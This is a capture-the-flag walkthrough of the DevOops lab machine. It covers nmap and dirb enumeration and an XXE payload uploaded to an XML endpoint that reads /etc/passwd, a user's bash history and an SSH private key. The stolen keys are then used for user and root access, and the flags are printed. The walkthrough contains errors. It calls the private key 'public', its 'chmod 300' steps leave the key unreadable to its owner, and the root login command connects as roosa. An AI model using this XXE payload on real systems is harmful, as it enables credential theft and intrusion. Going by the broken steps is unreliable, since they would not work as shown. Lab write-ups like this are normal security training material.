DevOops

Some commands may need root privileges.

User

Nmap

Run nmap to get a start point.

```
$ nmap -T4 -A -v 10.10.10.91
```

You should get something like this:

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ub
untu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (
RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (E
CDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (E
D25519)
5000/tcp open  http    Gunicorn 19.7.1
| http-methods:
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charse
t=utf-8).
```

Dirb

As we can see port 22 (ssh) and port 5000 (http) are open. Opening it up with a web browser doesn't really help while there is only one static page. So we **dirb** it

```
$ dirb http://10.10.10.91
```

As a result we get the **upload** page where we can upload **.xml** files. The page has a tittle that says **"This is a test API! The final API will not have this functionality."**, so it might be vulnerable. We can also see that we have been given the structure of the .xml file to upload. Looking at "OWASP Top 10 Application Security Risks - 2017" it is worth to try **"A4-XML External Entities (XXE)"** vulnerability.
So we take the snippet from OWASP page and we tweak it a little so it suits our needs. The final form will look like this:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Author>
    <Subject>
        <Content>
            &xxe;
        </Content>
    </Subject>
</Author>
```

Hit upload. As we can see we got **passwd** and there is a user **roosa** and a user **git**. Next step, change the xml to read **bash.history** on roosa user:

```
"file:///home/roosa/.bash_history"
```

From bash history, we found that the user forgot to remove the public key for ssh. So we change the .xml file once again:

```
"file:///home/roosa/.ssh/id_rsa"
```

SSH - Getting user

Once we take the public key, we paste in a new file and give it some privileges and the we connect via ssh as roosa.

```
$ chmod 300 roosa
$ ssh -i roosa roosa@10.10.10.91
$ cat user.txt
c5808e1643e801d40f09ed87cdecc67b
```

Root

SSH - Getting root

To get root, we just type:

```
$ history
```

At some point we can see that the user show as the path for another rsa key. This path is **/home/roosa/work/blogfeed/resources/integration/authcredentials.k** We the do the same thing as previously so we can connect via ssh, as root this time.

```
$ chmod 300 root
$ ssh -i root roosa@10.10.10.91
$ cat root.txt
d4fe1e7f7187407eebdd3209cb1ac7b3
```